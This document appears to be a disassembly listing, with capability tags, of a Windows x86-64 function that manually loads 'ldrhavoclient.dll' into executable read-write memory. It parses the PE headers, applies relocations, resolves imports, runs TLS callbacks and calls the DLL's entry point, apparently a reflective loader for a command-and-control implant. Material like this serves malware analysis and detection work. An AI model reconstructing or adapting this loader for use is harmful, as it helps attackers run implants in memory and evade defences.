Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x48
lea rcx, str.___Loading_ldrhavoclient.dll:_n
call fcn.140001010
xor esi, esi
lea rcx, str.ldrhavoclient.dll
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000110c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
cmp eax, 0xffffffff
jne 0x1400010e6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400014cf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
mov rcx, rdi
cmp rax, 0xffffffffffffffff
jne 0x14000111e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400014cf
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, r14d
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x140001156
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbp, rbp
je 0x1400014cf
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400014cf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbp, rbp
je 0x1400014cf
mov rdx, rbp
lea rcx, str.___DATA_at_0x_p_n
call fcn.140001010
movsxd rax, dword [rbp + 0x3c]
cmp dword [rax + rbp], 0x4550
jne 0x1400014bb
lea rcx, str.___Check_PE_OK_n
call fcn.140001010
movsxd rax, dword [rbp + 0x3c]
mov ecx, 0x2000
test word [rax + rbp + 0x16], cx
je 0x1400014cf
mov ecx, 0x20b
cmp word [rax + rbp + 0x18], cx
jne 0x1400014cf
lea rcx, str.___Check_ARCH_OK_n
call fcn.140001010
movsxd rax, dword [rbp + 0x3c]
lea rcx, str.___PE_image_size_:_0x_x_n
mov ebx, dword [rax + rbp + 0x50]
mov edx, ebx
call fcn.140001010
xor ecx, ecx
mov edx, ebx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x1400014cf
mov rdx, rax
lea rcx, str.___Allocated:_0x_p_n
call fcn.140001010
movsxd rdi, dword [rbp + 0x3c]
mov rax, r14
add rdi, rbp
mov rdx, rbp
mov rcx, r14
mov qword [rsp + 0x98], rdi
sub rax, qword [rdi + 0x30]
movzx r15d, word [rdi + 0x14]
mov r8d, dword [rdi + 0x54]
add r15, rdi
mov qword [rsp + 0xa8], rax
mov qword [rdi + 0x30], r14
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rdi + 0xb0]
mov r13, rsi
mov rax, qword [rsp + 0x98]
mov r12, rsi
mov rdi, qword [rdi + 0x90]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0x90], esi
cmp si, word [rax + 6]
jae 0x1400014cf
add r15, 0x20
mov rsi, rax
nop dword [rax + rax]
mov r9d, dword [r15 + 4]
cmp ebx, r9d
jb 0x140001297
mov ecx, dword [r15]
add ecx, r9d
cmp ebx, ecx
jae 0x140001297
lea r13, [r15 - 8]
cmp edi, r9d
jb 0x1400012aa
mov ecx, dword [r15]
add ecx, r9d
cmp edi, ecx
jae 0x1400012aa
lea r12, [r15 - 8]
mov edx, dword [r15 + 0xc]
lea rcx, [r14 + r9]
mov r8d, dword [r15 + 8]
add rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [r15 - 8]
lea rcx, str.___Section__s_n
call fcn.140001010
mov ecx, dword [rsp + 0x90]
add r15, 0x28
movzx eax, word [rsi + 6]
inc ecx
mov dword [rsp + 0x90], ecx
cmp ecx, eax
jl 0x140001280
mov esi, 0
test r13, r13
je 0x1400014cf
test r12, r12
je 0x1400014cf
mov rdx, r13
lea rcx, str.___RELOC:__s_n
call fcn.140001010
mov rdx, r12
lea rcx, str.___Imports:__s_n
call fcn.140001010
mov ebx, dword [rsp + 0xa4]
test rbx, rbx
je 0x140001397
mov r10d, dword [r13 + 0x14]
mov edi, 0x1000
mov r11, qword [rsp + 0xa8]
nop dword [rax]
mov r9d, r10d
add r9, rbp
add r9, rsi
add rsi, 8
mov r8d, dword [r9 + 4]
sub r8, 8
shr r8, 1
je 0x140001392
mov ecx, r10d
nop dword [rax]
mov eax, ecx
add rax, rbp
add rax, rsi
add rsi, 2
movzx edx, word [rax]
cmp dx, di
jb 0x14000138c
mov ecx, dword [r9]
and edx, 0xfff
lea rax, [r14 + rdx]
add qword [rcx + rax], r11
mov r10d, dword [r13 + 0x14]
mov ecx, r10d
sub r8, 1
jne 0x140001360
cmp rsi, rbx
jb 0x140001340
mov rdi, qword [rsp + 0x98]
mov r15d, dword [rdi + 0x90]
add r15, r14
je 0x1400014cf
mov eax, dword [r15 + 0xc]
add r15, 0xc
test eax, eax
je 0x140001452
nop
mov ecx, eax
add rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400014cf
mov ebx, dword [r15 + 4]
add rbx, r14
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000143a
jns 0x140001409
movzx edi, cx
mov rcx, rsi
mov edx, edi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, edi
lea rcx, str.___tOrdinal__u_n
mov qword [rbx], rax
call fcn.140001010
jmp 0x14000142d
lea rdi, [rcx + r14]
mov rcx, rsi
lea rdx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rdi + 2]
mov qword [rbx], rax
lea rcx, str.__Name__s_n
call fcn.140001010
mov rcx, qword [rbx + 8]
add rbx, 8
test rcx, rcx
jne 0x1400013e6
mov eax, dword [r15 + 0x14]
add r15, 0x14
test eax, eax
jne 0x1400013c0
mov rdi, qword [rsp + 0x98]
movsxd rax, dword [rbp + 0x3c]
cmp dword [rax + rbp + 0xd0], 0
je 0x14000148c
mov eax, dword [rdi + 0xd0]
mov rbx, qword [rax + r14 + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x14000148c
xor r8d, r8d
mov rcx, rbp
lea edx, [r8 + 1]
call rax
mov rax, qword [rbx + 8]
lea rbx, [rbx + 8]
test rax, rax
jne 0x140001473
mov eax, dword [rdi + 0x28]
xor r8d, r8d
add rax, r14
mov rcx, r14
lea edx, [r8 + 1]
call rax
test eax, eax
je 0x1400014cf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, r14
jmp 0x1400014d1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
add rsp, 0x48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret